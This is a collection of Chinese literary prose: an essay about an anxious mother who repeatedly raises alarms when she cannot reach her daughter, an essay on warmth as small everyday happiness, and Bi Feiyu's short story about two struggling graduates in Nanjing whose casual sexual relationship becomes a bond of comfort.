　　我三岁那年，一天傍晚妈妈从地里干完活回家，发现我不在了。她屋前屋后四处寻找，敲遍了所有邻居家的门，都没找到我。后来邻居也帮着一起找，翻遍了连队的角角落落。于是便有人怀疑：莫不是我独自一人进了野地？又有人严肃地叹息，提到最近闹狼灾，某地某连一夜之间被咬死了多少多少牲畜……我妈慌乱恐惧，哭喊着去找领导。她捶胸顿足，哭天抢地，引起了连长和指导员的高度重视。于是连队的大喇叭开始反复广播，说李辉的女儿不见了，有知情者速来办公室报告云云。还发动大家一起去找。几乎连里的每一个人听到广播后都放下碗筷，拿起手电筒出了门。夜色里到处灯影晃动。连队还派出了两辆拖拉机，各拉了十来个人朝着茫茫戈壁滩的两个方向开去。呼唤我的声音传遍了荒野。

　　半夜里，大家疲惫地各自回家。没有人能安慰得了我妈，她痛苦又绝望。妇女们扶着她回到家里，劝她休息，并帮她拉开床上的被子。这时，所有眼睛猛然看到了我。我正蜷在被子下睡得香甜又踏实。

　　我二十岁时，去乌鲁木齐打工。一次外出办事，忘了带传呼机，碰巧那天我妈来乌市办事，呼了我二十多遍都没回音。她胡思乱想，心慌意乱地守着招待所的公用电话。这时有人煽风点火，说现在出门打工的女孩子最容易被拐卖了，比小孩还容易上当受骗。我妈更是心乱如麻，并想到了报警。幸亏给招待所的服务员劝住了。大家建议说再等一等，并纷纷帮她出主意。她坐立不安，又不停地打电话给所有亲戚，发动大家联系乌市的熟人，看有没有人了解我最近的动向。然后又想法子查到我的一些朋友的电话，向他们哭诉，请求大家联系到我的话一定要通知她。于是乎，我的所有亲戚和朋友一时间都知道这件事了，并帮忙进一步广泛传播，议论得沸沸扬扬。说我莫名消失，不理我妈，要么出事了，要么另有隐情。

　　我妈一整天哭个不停，逢人就形容我的模样，我叫什么，我是干什么的，来乌市多久了，现在肯定出了意外，如果大家以后能遇到这个女孩，一定想办法帮助她。大家一边安慰她，一边暗自庆幸自家女儿懂事听话，从来没有发生过跑丢了这样的事情。

　　除了没完没了地打电话和向人哭诉外，我妈还跑到附近的打印店，想做几百份寻人启事。幸亏一时没有我的照片，只好作罢，否则的话我就更出名了。

　　而这些事，统统发生在一天之中。很快我办完事回去，看到二十多条留言时吓了一跳，赶紧打的去那家招待所。一进大院，一眼看到她茫然失措地站在客房大门前，空虚又无助。我叫了一声“妈”，她猛一抬头，号啕大哭起来，一边快步向我走来，一边指着我，想骂什么，又骂不出来。但哭得更凶了，好像心里有无限的委屈。

　　直到很多年后，我有事再去那家招待所（那相当于我们县的办事处），里面的工作人员还能记得住我，还会对我说：“那一年，你妈找不到你了，可急坏了……”并掉头对旁边的人津津有味地详述始末。

　　这些年，我差不多一直独自在外，虽然和妈妈联系得并不算密切，但只要一次联系得不通畅，她会生很大的气，不停地问：“刚才为什么不接电话？为什么关机？”而我不接电话或关机肯定不是故意的，于是被这么质问的话，我也会生气。然而，有时给她打电话，若遇到她不接电话，她关机的时候，也会不由自主地着急，并在电话打通的时候生气地质问她为什么、为什么、为什么。

　　联系不到她时，我也会胡思乱想，但永远不会像她那样兴师动众，绝倒一大片。这些年来，她坚决不肯改变，仍然是只要一时半会儿联系不到我，就翻了锅似的骚扰我的朋友们，向他们寻求帮助，并神经质地向他们反复诉述自己的推理和最坏的可能性。大家放下电话总会叹息：“李娟怎么老这样？”于是乎，我就落下个神出鬼没、绝情寡义的好名声。

　　而我妈则练就了一个查电话号码的好本领。无论是谁，只要知道了其工作单位和姓名，茫茫人海里，没有她逮不出来的。

　　我已三十岁，早就不是小孩子或小姑娘了，但还是没能摆脱这样的命运。

　　妈妈在乌市照顾病人，我独自在家。一天睡午觉，把手机调成了静音。于是那天她一连拨了三遍我都不知道。于是她老人家又习惯性地六神无主，立刻拨打邻居的一位阿姨的手机，请她帮忙看一看我在不在家。那个阿姨正在地里干农活，于是飞快地跑到我家查看端倪。由于怕我家的狗，只是远远看了一下，见我家大门没上锁，就去向我妈报告说我应该在家，因为门没关。

　　可我妈把“门没关”误会成了大门敞开了，立时大惧。心想，我独自在家时一般都反扣着院门的，怎么会大打而开呢？于是乎，又一轮动员大会在我的左邻右舍间火热展开了。她不停地给这个打电话，给那个打电话，哀求大家四处去找我，说肯定有坏人进我家了，要不然大门咋没关呢？还说我一个人在家，住的地方又荒凉，多可怕啊。又说打了三遍电话都没接，肯定有问题……很快，一传十，十传百，全村的人都知道我一个人在家出事了。

　　小地方的人都是好心人，于是村民们扛着铁锨（怕我家狗）一个接一个陆续往我家赶，大力敲门，大呼小叫。把我叫出门后，又异口同声责问我为什么不接我妈的电话，为什么整天敞着门不关……于是这一天里，我家的狗叫个不停，我也不停地跑进跑出，无数遍地对来人解释为什么为什么，并无数遍地致歉和道谢。唉，午觉也没睡成。

　　可是，她忘了还有座机吗？既然手机打了三遍没人接，为啥不试试座机呢？再说我家养的狗这么凶，谁敢乱闯我家？真是……

　　有这样一个没有安全感的母亲，被她的神经质撼摇了一辈子心意——我觉得自己多多少少肯定也受了些影响，说不定在不知不觉间，早已成为一个同样没有安全感的偏执型人格障碍病患了。真倒霉。弄得丁点大的小意外都会惹人浮想联翩，绵延千里，直到形成重大事故为止。太可怕了。

　　她没有安全感，随时都在担心我的安危，是不是其实一直在为失去我而做准备？她知道总有一天会失去我的。她一生都心怀这样的恐惧而生活着。并且悲伤和痛苦不时地积累，日渐沉重。每当她承受不了这样的悲伤痛苦时，只好藉由一点点偶然的际遇而全面爆发出来。她发泄似的面向全世界的人跺脚哭诉，让全世界的人都知道我丢了。因为她的痛苦和不安如此强烈巨大，非得全世界的人一起来分担不可。她是最任性的母亲，又是最无奈的母亲。

温暖是一种小确幸

庄雅婷

　　我的师兄李海鹏曾经写：“陈丹青先生第一次去美国，大吃了一惊：街上的年轻男女，人人长着一张没受过欺负的脸！我猜陈先生忘了说一句话，就是那还是一些不准备欺负别人的脸。”

　　受欺负的脸长成什么样，我还真不太能端详得出来，但不快乐的脸我是见多了，如果你在街头站会儿，凝视着路人的脸，你就会发现很多人面无表情如一块冰冷铁板，更有眉头紧锁尽显压力庞大者，还有各种幽怨、愤恨、欲望强烈的面孔，让你觉得，原来我们格外热爱那些纯真幼稚的面孔，只是因为他们有着阳光和开心的气质。

　　那种淡淡的、会心会意的微笑的面庞，是需要修炼的。我现在比任何时候都同意一句滥俗的话：相由心生。真的，有些貌似俗透的话，仅仅是因为被重复得太多，但却无限接近真理。比如“三十岁之后要对自己的相貌负责”这种。但一旦不断的被验证，你就会相信这真的是真的。

　　一个内心纠结拧巴的人是如何才能给你一个自然顺畅的微笑？一个内心温暖的人又如何才能让自己一直面无表情？虽然有人很擅长在生活中也做一个演员，但，心灵所携带的信息是骗不了人的，由灵魂带来的温暖感，一定会营造出某种舒适的气场。所以，我们经常这样形容一个女人：她看上去很舒服，她让人感到温暖。

　　其实这种感觉很难言语精准表达，但其实更不需要表达。这事儿和健康的身体一样：当你全部健康的时候，你不会明确的感觉到某个部位的存在或机能的运行，只有当某处有问题的时候，你才会感到成日被强调。

　　而温暖同样，就好像你舒服的沐浴在春日暖阳中，有轻柔的风掠过，你不会发出“真暖和呀”这样的感慨，又不是 UGG。这就好比一条同样轻柔的羊绒披肩、母亲的怀抱、恋人的拥抱、回家时看到的一盏灯光、冬天路边的烤白薯摊儿，有一种自然而然天经地义的温暖之感。

　　如果需要诠释，或者需要提醒自己珍惜这一切，那只能说明，温暖已经成为奢侈品，温暖已经离你远去。而寻找回来的过程可能是艰辛漫长的，就好像仔细调养那些患病的身体，和心灵。

　　温暖是一种小确幸。微小的、确定的幸福。轰轰烈烈的干柴烈火虽然壮观，但太容易灼伤；而冰冷，很显然和理智与现实紧密联系，更有可能是一种保护色。我们生活在当下时代，每一座城市都在急吼吼的想成为国际大都市，唯一的价值体系是成功，言必谈政治经济和意义的时候，温暖就变得可有可无，被视为小情调小清新小文艺的锦上添花。

　　所以，每个人的内心都有点像一坨无坚不摧的钢铁战士，冷冰冰、硬邦邦。虽然有可能只是外壳如此，内里依然是柔软不堪。而温暖，它就在那儿，一直不温不火，显得太过平常。不拧巴不激烈不出位，如一粥一饭般平实朴素，所以平凡得不值得过多关注。乃至，慢慢的，我们的生活充斥了压力、焦虑、奋斗、拼搏这样的词儿，温暖就真的变成了一种奢侈品。

　　可，它真的是微小的确定的幸福啊。那么容易实现，那么容易打动人心。你只要放低自己，放过自己，就很容易得到。物质会带来温暖，但根本不用很昂贵的那些，一张亲手写的卡片，一条亲自织的围巾，一杯恰到好处递到手中的茶，一把细碎的小野花……而温暖往往是非物质的，一个拥抱，额头的一个亲吻，小动物亲密的依偎过来的姿态，朋友一句鼓励的话语……

　　这听起来俗套么？也许，但就是这些东西让你感觉到爱和被爱，感觉到自己是在真真切切活着。一个时常感觉温暖的人，脸上一定是会有笑意自然溢出的。而，一个让人觉得温暖的社会，街上的行人们，也许表情会更多轻松愉快吧。

　　我相信，人性的温暖一定是伴随灵魂而来的。传说灵魂是 21 克，那么，要是能少一克宏大，多一克温暖，是不是会显得更有质量？

相爱的日子

毕飞宇

　　嗨，原来是老乡，还是大学的校友，居然不认识。像模像样地握过手，交换过手机的号码，他们就开始寒暄了。也就是三四分钟，两个人却再也没什么好说的了，那就再分开吧。主要还是她不自在。她今天把自己拾掇得不错，又朴素又得体，可到底不自在。这样的酒会实在是太铺张、太奢靡了，弄得她总是像在做梦。其实她是个灰姑娘，蹭饭来的。朋友说得也没错，蹭饭是假，蹭机会是真，蹭着蹭着，遇上一个伯乐，或逮着一个大款，都是说不定的。这年头缺的可不就是机会么。朋友们早就说了，像“我们这个年纪”的女孩子，最要紧的其实就是两件事：第一，抛头；第二，露面——机会又不是安装了 GPS 的远程导弹，哪能瞄准你的天灵盖，千万别把自己弄成本·拉登。

　　可饭也不好蹭哪，和做贼也没什么两样。这年头的人其实已经分出等级了，三五个一群，五六个一堆，他们在一起说说笑笑，哪一堆也没有她的份。硬凑是凑不上去的。偶尔也有人和她打个照面，都是统一的、礼貌而有分寸的微笑。她只能仓促地微笑，但她的微笑永远都慢了半拍，刚刚笑起来，人家已擦肩而过了。这一来她的微笑就失去了对象，十分空洞地挂在脸上，一时半会儿还拿不下来。这感觉不好，很不好。她只好端着酒杯，茫然地微笑，心里头说，我日你爸爸的！

　　手机却响了。只响了两下，她就把手机送到耳边去了。没有找到工作或生活还没有着落的年轻人都有一个共同的特征，接手机特别地快。手机的铃声就是他们的命——这里头有一个不易察觉的幻觉，就好像每一个电话都隐藏着天大的机遇，不容疏忽，一疏忽就耽搁了。“喂一”她说，手机却没有回音。她欠下身，又追问了一遍：“——喂？”

　　手机慢腾腾地说：“是我。”

　　“你是谁呀？”

　　手机里的声音更慢了，说：“——贵人多忘事。连我都不认识了。抬起头，对，向左看，对，卫生间的门口。离你八九米的样子。”她看见了，是他。几分钟之前刚认识的，她的校友兼老乡。这会儿她的校友兼老乡正歪在卫生间的门口，低着头，一手端着酒杯，一手拿着手机，挺幸福的，看上去像是心上人调情，是情到深处的样子。

　　“羡慕你呀，”他说，“毕业还不到一年半，你就混到这家公司里来了。有一句话是怎么说的？金领丽人，对，说的就是你了。”

　　她笑起来，耷拉下眼皮，对着手机说：“你进公司早，还要老兄多关照呢。”

　　手机笑了，说：“我是来蹭饭的。你要多关照小弟才是。”

　　她一手握住手机，另一只手抱在了胸前，这是她最喜欢的动作，或者说造型，小臂托在双乳的下面，使她看上去又丰满、又窈窕，是“丽人”的模样。她对手机说：“我也是来蹭饭的。”

　　两个人都不说话了，差不多在同时抬起了脑袋，对视了，隔着八九米的样子。他们的目光穿过了一大堆高级的或幸运的脑袋，彼此都在打量对方，开心了。他们不再寂寞，似乎也恢复自信。他微笑着低下头，看着自己的脚尖，有闲情了，说：“酒挺好的，是吧？”

　　她把目光放到窗外去，说：“我哪里懂酒，挑好看的喝呗。”

　　“怎么能挑好看的喝呢。”他的口气显然是过来人了，托大了，慢悠悠地关照说，“什么颜色都得尝一尝。尝遍了，再盯着一个牌子喝。放开来，啊，放开来。有大哥呢。”随即他又补充了一句，“手机就别挂了，听见没有？”

　　“为什么？”

　　“和大哥聊聊天嘛。”

　　“为什么不能挂？”

　　“傻呀。”他说，“挂了机你和谁说话？谁会理你呀，多伤自尊哪——就这么打着，这才能挽救我们俩的虚荣心，我们也在日理万机呢。你知道什么叫日理万机？记住了，就是有人陪你说废话。”

　　她歪着脑袋，在听。换了一杯酒，款款地往远处去。满脸是含蓄的、忙里偷闲的微笑。她现在的微笑有对象了，不在这里，在千里之外。酒会的光线多好，音乐多好，酒当然就更好了，可她就是不能安心地喝，也没法和别人打招呼。忙啊。她不停地点头，偶尔抿一口，脸上的笑容抒情了。她坚信自己的微笑千娇百媚。日你爸爸的。

　　“谢谢你呀大哥。”

　　“哪儿的话，我要谢谢你！”

　　“还是走吧，冒牌货。”她开开心心地说。

　　“不能走。”他说，“多好的酒，又不花钱。”

　　三个小时之后，他们醒来了，酒也醒了。他们做了爱，然后小睡了—会儿。他的被窝和身体都有一股气味，混杂在酒精和精液的气息里。说不上好，也说不上不好，是可以接受的那一类。显然，无论是被窝还是身体，他都不常洗。但是，他的体温却动人，热烈，蓬勃，近乎烫，有强烈的散发性。因为有了体温的烘托，这气味又有了好的那一面。她抱紧了他，贴在了他的后背上，做了一个很深的深呼吸。

　　他就是在这个时候醒来的，一醒来就转过了身，看着她，愣了一下。也就是目光愣了一下，在黑暗当中其实是不容易被察觉的，可还是没能逃出她的眼睛。“认错人了吧？”她笑着说。他笑笑，老老实实地说：“认错人了。”

　　“有女朋友么？”她问。

　　“没有。”他说。

　　“有过？”

　　“当然有过。你呢？”

　　她想了想，说：“被人甩过一次，甩了别人两次。另外还有几次小打小闹。你呢？”

　　他坐起来，披好衣服，叹了一口气，说：“说它干什么。都是无疾而终。”

　　两个人就这么闲聊着，他已经把灯打开了。日光灯的灯光颠了两下，一下子把他的卧室全照亮了。说卧室其实并不准确——他的衣物、箱子、书籍、碗筷和电脑都在里面。他的电脑真脏啊，比那只烟缸也好不到哪里去。她眯上眼睛，粗粗地估算了一下，她的“家”比这里要多出两三个平方。等她可以睁开眼的时候，她确信了，不是两三个平方，而是四个平方。大学四年她选修过这个，她的眼光早已经和图纸一样精确了。

　　他突然就觉得有些饿，在酒会上光顾了喝了，还没吃呢。他套上棉毛衫，说：“出去吃点东西吧，我请客。”她没有说“好”，也没有说“不好”，却把棉被拉紧了，掖在了下巴的底下，“再待—会儿吧。”她说，“再做一次吧。”

　　夜间十一点多钟，天寒地冻，马路上的行人和车辆都少了，显得格外地寥落。却开阔了，灯火也异样地明亮。两侧的路灯拉出了浩荡的透视，华美而又漫长，一直到天边的样子。出租车的速度奇快，“呼”地一下就从身边窜过去了。

　　他们在路边的大排档里坐了下来。是她的提议，她说她“喜欢大排档”。他当然是知道的，无非是想替他省一点。他们坐在靠近火炉的地方，要了两碗炒面，两条烤鱼，还有两碗西红柿蛋汤。虽说靠近火炉，可到底还是冷，被窝里的那点热乎气这一刻早就散光了。他把大衣的领口立起来，两只手也抄到了袖管里，对着炉膛里的炉火发愣。汤上来了，在她喝汤的时候，他第一次认真地打量了她，她脸上的红晕早已经褪尽了，一脸的寒意，有些黄，眼窝子的四周也有些青。说不上好看，是那种极为广泛的长相。但是，在她做爱的过程中，她瘦小而强劲的腰肢实在是诱人。她的腰肢哪里有那么大的浮力呢。

　　一阵冬天的风刮过来了。大排档的“墙”其实就是一张塑料薄膜，这会儿被冬天的风吹弯了，涨起来了，像气球的一个侧面。头顶上的灯泡也跟着晃动，他们的身影就在地面上一左一右地摇摆起来，像床上，激烈而又纠缠。他望着地上的影子，想起了和她见面之后的细节种种，突然就来了一阵亲呢，想把她搂过来，好好地裹在大衣的里面。这里头还有歉意，再怎么说他也不该在“这样的时候”把她请到这样的地方来的。下次吧，下一次一定要把她请到—个像样的地方去，最起码，四周有真正的墙。

　　她的双手端着汤碗，很投入，咽下了最后的一大口，上气不接下气了，感叹说：“——好喝啊！”

　　他从袖管里抽出胳膊，用他的手抚住她的腮。她的腮在他的掌心里蹭了一下，替他完成了这个绵软的抚摸。“今天好开心哪！”她说。

　　“是啊，”他说，“今天好开心哪。”他的大拇指滑过了她的眼角。“开心”这个东西真鬼，走的时候说走就走，来的时候却也慷慨，说来就来。

　　大排档的老板兼厨师似乎得到了渲染，也很开心，他用通红的火钳点了一根烟，正和他的女帮手耳语什么，很可能是调笑，女帮手的神情在那儿呢。看起来也是一个乡下姑娘，炉膛里的火苗在她开阔的脸庞上直跳。除了他们这“两对”男女，大排档里就再也没有别的人了。天寒地冻。趁着高兴，他和大排档的老板说话了：“这么晚了，又没人，怎么还不下班哪？”

　　“怎么会没人呢，”老板说，“出租车的二驾就要吃饭了，还有最后一拨生意呢。”

　　“晚饭”过后他们顶住了寒风，在深夜的马路上又走了一段，也就是四五十米的样子。在一盏路灯的下面，他用大衣把她裹住了，然后，顺势靠在了电线杆子上。他贴紧她，同时也吻了她。这个吻很好，有炒面、烤鱼和西红柿蛋汤的味道。都是免费的。他放开她的两片嘴唇，说：“——好吃啊！”

　　她笑了，突然就有些不好意思，把她的脑袋埋在他的胸前，埋了好半天。她拽紧了他的衣领，抬起头来，说：“真好。都像恋爱了。”

　　又是一阵风。他的眼睛只好眯起来。等那阵风过去了，他的眼睛腾出来了，也笑了，“可不是么，”他说，“都像恋爱了。”

　　她回吻了他。他拍拍她的屁股蛋子，说：“回去吧，我就不送了，我也该上班了。”

　　他的“班”在户部街菜场。在没有找到对口的、正式的工作之前，他一直在户部街菜场做接货。所谓“接货”，说白了也就是搬运，把瓜、果、蔬菜、鱼、肉、禽、蛋从大卡车上搬下来，过了磅，再分门别类，送到不同的摊位上去。这些事以往都是摊主们自己做的，可是—-外人往往就不知道了——那些灰头土脸的摊主们其实是有钱人，哪有有钱人还做力气活的。摊主们不做，好，他的机会可就来了。他把他的想法和几个摊主说了，还让他们摸了摸他的肌肉。几个摊主一碰头，行。工钱本来也不高，摊开来一算，十分地划得来，每一家也就是三个瓜两个枣。

　　接货的劳动量并不大，难就难在时段上。在下半夜。只能是下半夜。第一，大白天卡车进不了城；第二，蔬菜娇气，不能“隔天”，一“隔天”品相就不对了。品相是蔬菜的命根子，价码全在这上头。关于蔬菜的品相，摊主胡大哥有过十分精辟的论述，胡大哥说，蔬菜就是“小姐”，好价钱也就是二十郎当岁，一旦蔫下来，皮塌塌、皱巴巴的，价格就别想上得去！

　　撇开“小姐”不说，比较下来，他最喜欢“接”的还就是蔬菜。不油，不腻，“接”完了，冲冲手，天一亮就可以上床了。最怕的是该死的禽蛋，不管是鸡蛋、鸭蛋还是鹌鹑蛋，手一滑，哗啦一下，一个都别想捡得起来。只要“哗啦”一次，他一个月的汗水就不再是汗，而是尿。尿就不值钱啦。

　　刚开始接货的时候他有些别扭，似乎很委屈。现在却又好了，挺喜欢的。体力活他不怕，夜里头耗一耗也好。一身的蛮力气绷在身上做什么呢，每天起床的时候裤裆里的小弟弟没头没脑地架在那里，还做出瞄准的样子，又没有目标。现在好多了，小弟弟是懂道理的，凌晨基本上已经不闹了。

　　可话又说回来了，他到底还是不喜欢，主要是不安全。为了糊口，在户部街菜场临时过渡一下当然没问题，可总不能“接”一辈子“小姐”吧。也二十四岁的人了，总要讨老婆，总要有家吧。一想起这个他的心里总有一股说不上来的落寞，也有些自怜的成分。特别怕看货架。晨曦里的货架琳琅满目，排满了韭菜、芹菜、莴苣、大椒、蒜头、牛肉、羊肉、风翅、鸭爪、猪腰子，还有溜光滚圆的禽蛋。这些都不属于他。并不是他买不起，是“买菜”这样的一种最日常的生活方式不属于他。他就渴望能有这样的一天，是—个星期天的早晨，很家常的日子，他一觉醒来了，拉着“她”的手，在户部街菜场的货架前走走停停，然后，和“她”一起挑挑拣拣。哪怕是一块豆腐，哪怕是一把菠菜——能过上那样的日子多好啊。会有的吧。总会有的吧。

　　作为一个“接货”，他在下班的时候从来都不看货架，天一亮，掉头就走，回到“家”，倒头就睡。

　　户部街菜场离他的住处有一段距离。他打算在附近租房子的，由于地段的关系，价格却贵了将近一倍。城里的生计不容易。他不是没有动过回老家的念头，但是，不能够，回不去的。不是脸面上的问题，当初他要是考不上大学反而好了，该成家成家，该打工打工——现在呢，他在老家连巴掌大的土地都没有，又没有本钱，怎么能立得住脚呢？能做的只能是外出打工。与其回去，再出来，还不如就呆在城里了。唉，他人生的步调乱了，赶不上城里的趟，也赶不上乡下的趟。当年的中学同学都为人父、为人母了，他一个光棍，回家过年的能力都没有，一声“叔叔”一百块，两声“舅舅”两百块，他还值钱了。他怎么就“成龙”了呢？他怎么就考上大学了呢？一个人不能有才到这种地步！

　　到底年轻，火力旺，和她分手才两三天，他的身体作怪了，闹了。“想”她，“想”她瘦小而强劲的腰，“想”她坚忍不拔的浮力。可是，她还肯不肯呢？那一天可是喝了一肚子的酒的——他一点把握也没有了。试试吧，那就试一试吧。他一手拿起手机，另一只手却插进了裤兜，摁住了自己。她没有接。手机最后说：“对不起，对方的手机无人接听。”

　　他合上手机，羞愧难当。这样的事原本就不可以一而再、再而三的。他站在街头，望着冬日里的夕阳，生自己的气，有股子说不出口的懊恼，还有那么一点凄惶。他就那么站着，一手捏着手机，一手握住自己。不过他到底没有能够逃脱肉体的蛊惑，又一次把手机拨过去了。这一回却通了，喜出望外。

　　“谁呀？”她说。

　　“是我。”他说。

　　“你是谁呀？”她说。她的气息听上去非常虚，嗓音也格外地沙哑，像在千里之外。

　　他的心口一沉。问题不在于她的气息虚不虚，问题是，她真的没有听出他的声音。不像是装出来的。

　　“贵人多忘事啊。”他说，故意把声调拔得高高的。这一高其实就是满不在乎的样子了。“是我——，同学，还有老乡，你大哥嘛！”

　　他自己也听出来了，他的腔调油滑了。这样的时候只有油滑才能保全他弱不禁风的体面。这个电话他说什么也不该打的。

　　手机里没声音了。很长很长的一段沉默。他尴尬死了，恨不得把手机扔出去，从南京一直扔回到他的老家。这个电话说什么也不该打的。

　　出人意料的事情就在这时发生了。在一大段的沉默过后，手机里突然传来了她的哭泣，准确地说，是啜泣。她喊了一声“哥”，说：“来看看我吧。”

　　他把手机一直摁在耳边，直到走进地下室，直到推开她的房门。就在他们四目相对的时候，他们的手机依然摁在耳边，已经发烫了。可她的额头比手机还要烫。她正在发高烧，两只瞳孔烧得晶亮晶亮的，烧得又好看、又可怜。

　　“起来呀，”他大声说，“我带你到医院去。”

　　她刚才还哭的，他一来似乎又好了，脸上都有笑容了。“不用，”她沙哑着嗓子说，“死不了。”

　　他望着她枕头上的脑袋，孤零零的，比起那一天来眼窝子已经凹进去一大块了。她一定是熬得太久了，要不然不会是这种样子。他想起了上个月他熬在床上那几天，突然就是一阵酸楚。“——你就一直躺在这儿？”他说，明知故问了。

　　“是啊，没躺在金陵饭店。”她还说笑呢。

　　“赶紧去医院哪——”

　　“不用。”

　　“去啊！”

　　“死不了！”她终于还是冲他发脾气了。到底上过一次床，又太孤寂，她无缘无故地就拿他当了亲人，是“一家子”才有的口气，“唠叨死了你！”

　　“——还是去吧……”

　　“死不了。”她说，“再挺两天就过去了——去医院干吗？一趟就是四五百。”

　　他想说“我替你出”的，咽下去了。他们这些人都有一个共同的毛病，在钱这个问题上有病态的自尊，弄不好都能反目。他赔上笑，说：“去吧，我请客。”

　　“我不要你请我生病。”她闭上眼睛，转过了身去，“我死不了。我再有两天就好了。”

　　他不再坚持，手脚却麻利了，先烧水，然后，料理她的房间。不知道她平日里是怎样的，这会儿她的房间已经不能算是房间了，满地都是擦鼻子的卫生纸、纸杯、板蓝根的包装袋、香蕉皮、袜子，还有两条皱巴巴的内裤。他一边收拾一边抱怨，哪里还像个女孩子，怎么嫁得出去，谁会要你？谁把你娶回去谁他*的傻×！

　　抱怨完了，他也打扫完了。打扫完了，水也就开了。他给她倒了一杯开水，告诉她“烫”，下楼去了。他买来了感冒药、体温表、酒精、药棉、面包、快餐面、卷筒纸、水果，还有一盒德芙巧克力。他把买来的东西从塑料口袋里掏出来，齐齐整整地码在桌面上都妥当了，他坐在了她的床边，把她半搂在怀里，拿起杯子给她喂药，同时也喂了不少的开水。在她喝饱了的时候，她拧起了眉头，脑袋侧过去了。他就开始喂面包。他把面包撕成一片一片的，往她的嘴里塞。吃饱了，她再一次拧起了眉头，脑袋又侧过去了。他就又塞了一只梨。也没有找到水果刀，他就用牙齿围绕着梨的表面乱啃了一通。

　　“昨天为什么不给我打电话？”她说，“前天为什么不给我打电话？”喝饱了，吃足了，她的精神头回来了。

　　这怎么回答呢，不好回答了。他就不搭理她了，脱了鞋，在床的另外一头钻进了被窝。他们就这样捂在被窝里，看着，也没有话。她突然把身子往里挪了挪，掀起了被窝的一个角，她说：“过来吧，躺到我身边来。”他笑笑，说：“还是躺在这边好。躺在你那儿容易想歪了——你生病呢。”

　　“哥，你就不知道你的脚有多臭吗？”她踹了他一脚，“你的脚臭死啦！”

　　大约到初夏，他和她的关系相对稳定了，所谓的稳定，也就是有了一种不再更改的节奏。他们一个星期见一次，一次做两回爱。通常都是她过来。每一次他的表现都堪称完美，有两次她甚至都给他打过一百分。他们俩都喜欢在事后给对方打分，这也是后戏的一个重要部分。前戏是没有的，也用不着，从打完电话到她赶过来，这里头总需要几十分钟。这几十分钟是迫不及待的，可以说火急火燎。他们的前戏就是他们的等待和想象，等待与想象都火急火燎。

　　没有前戏，后戏反过来就格外重要，要不然，干什么呢？除非接着再做。从体力上说，双方都没有问题，但每一次都是她控制住了，“下次吧，夜里头你还有夜班呢”。他们的后戏没有别的，就是相互打分，两次加起来，再除以二。他们就把除以二的结果刻在墙面上，墙面写满了阿拉伯数字，没有人知道那是怎样的一笔糊涂帐。

　　打了一些日子，他不打了。在打分这个问题上男人总是吃亏的，男人却有他的硬指标。其实，正是因为这一点，她坚持要打。她说了，在数字化的时代里，感受是不算数的，一切都要靠数字来说话。

　　数字的残酷性终于在那一个午后体现出来了，相当残酷。原是他和她约好了，下午一点钟在鼓楼广场见面，说有好消息要告诉她。没想到一见面他就蔫了，怎么问他都不说一句话。回到“家”，他还是不说，干什么呢，还是做吧。第一次他就失败了。她只好耐着性子，等他。第二次他失败得更快。她笑死了，对他说：“——零加零除以二还是零哦！”她特地从他的抽屉里找出了一把圆规，一定要替他把这个什么也不是的圆圈给他完完整整地画在墙壁上。她一点也没有留意这一刻他的脸色有多阴沉，他从她的手里抢过圆规，“呼噜”一下就扔出了窗外，他的脸铁青，气氛顿时就不对了。

　　因为他的动作太猛，她的手被圆规划破了，血口子不算深，但到底有三厘米长，吓人了。这么长的日子以来，撇开性，他们其实是像兄妹一样相处的，她在私下里已经把他看作哥哥了。他这样翻脸不认人，她的脸上怎么挂得住。她捂着伤口，血已经出来了，疼得厉害。这时候要哄的当然是她。可她究竟是知道的，一定是她的玩笑伤了他男人的自尊，反过来哄着他了。没想到他还不领情了，一巴掌就把她推开了，血都溅在了墙上。这一推真的伤了她的心，你是做哥哥的，妹妹都这样让着你、哄着你了，你还想怎么样吧你！

　　她再也顾不得伤口了，拿起衣服就穿。她要走，再也不想见到你。都零分了，你还发脾气！

　　她的走终于使他冷静下来了，从她的身后一把抱住了她。他拿起了她的手，他望着她的血，突然就流下了眼泪。他把她的手握在掌心里，用他的舌头一遍又一遍地舔。他的表情无比地沮丧，似乎是出血的样子。她的心软了，反过来还是心疼他，喊了他一声“哥”。他最终是用他的蹩脚的领带帮她裹住伤口的，然后就把她的手捂在了脸上。他在她的掌心里说：“我是不是真的没用？我是不是天生就是一个零分的货？”

　　“玩笑嘛，你怎么能拿这个当真呢。我们又不是第一次。”

　　“我是个没用的东西。”他口气坚决地说，“我天生就是一个零分的货。”

　　“你好的。”她说，“你知道的，我喜欢你在床上的。”

　　他笑了，眼泪却一下子奔涌起来。“我当然知道。我也就是这点能耐了。”他说，“我一点自信心也没有了，我都快扛不住了。”

　　她明白了。她其实早就明白了，只是不好问罢了。他一大早就出去面试，“试”是“试”过了，“面子”却没有留得下来。

　　“你呀，你这就不如我了。”她哄着他，“我面试了多少回了？你瞧，我的脸面越‘拭’越光亮。”

　　“不是面试不面试的问题！”他激动起来了，“她怎么能那样看我？那个女老板，她怎么能那样看我？就好像我是一堆屎！一泡尿！一个屁！”

　　她抱住了他。她知道了。她是知道的。为了留在南京，从大三到现在，她遇见过数不清的眼睛。对他们这些人来说，这个世上什么东西最恐怖？什么东西最无情？眼睛。有些人的眼睛能扒皮，有些人的眼睛会射精。会射精的眼睛实在是太可怕了，一不小心，它就弄得你一身、一脸，擦换都来不及。目光里头的诸种滋味，不是当事人是不能懂得的。

　　她把他拉到床上去，趴在了他的背脊上，安慰他。她抚摸他的胸，吻他的头发，她把他的脑袋拨过来，突然笑了，笑得格外地邪。她盯住他的眼睛，无比俏丽地说：“我就是那个老板，你就是一摊屎！你能拿我怎么样？嗯？你能拿我怎么样？”他满腹的哀伤与绝望就是在这个时候决堤的，成了跋扈的性。他一把就把她反摁在床上，她尖叫一声，无与伦比的快感传遍了每一根头发。她喊了，奋不顾身。她终于知道了，他是如此这般地棒。

　　“轻松啊，”她躺在了床上，四仰八叉。她用手抚摸着自己的腹部，叹息说，“这会儿我什么压力也没有了，真轻松啊——你呢？”

　　“是啊，”他望着头上的楼板，喘息说，“我也轻松多了。”

　　“相信我，哥，”她说，“只要能轻松下来，日子就好打发了——我们怎么都能扛得过去！”

　　就这样了。除去她“不方便的日子”，他们一个星期见一次，一次做两回。他们没有同居，但是，两个人却是越来越亲了，偶尔还说说家乡话什么的。他倒是动过一次念头的，想让她搬过来住，这对她的开销绝对是个不小的补助。不过，话到了嘴边他还是没敢说出来。她的开销是压下来了，他的开销可要往上升，一天有三顿饭呢。他能不能顶得住？万一扛不下来，再让人家搬出去，两个人就再也没法处了。还是不动了吧，还是老样子的好。

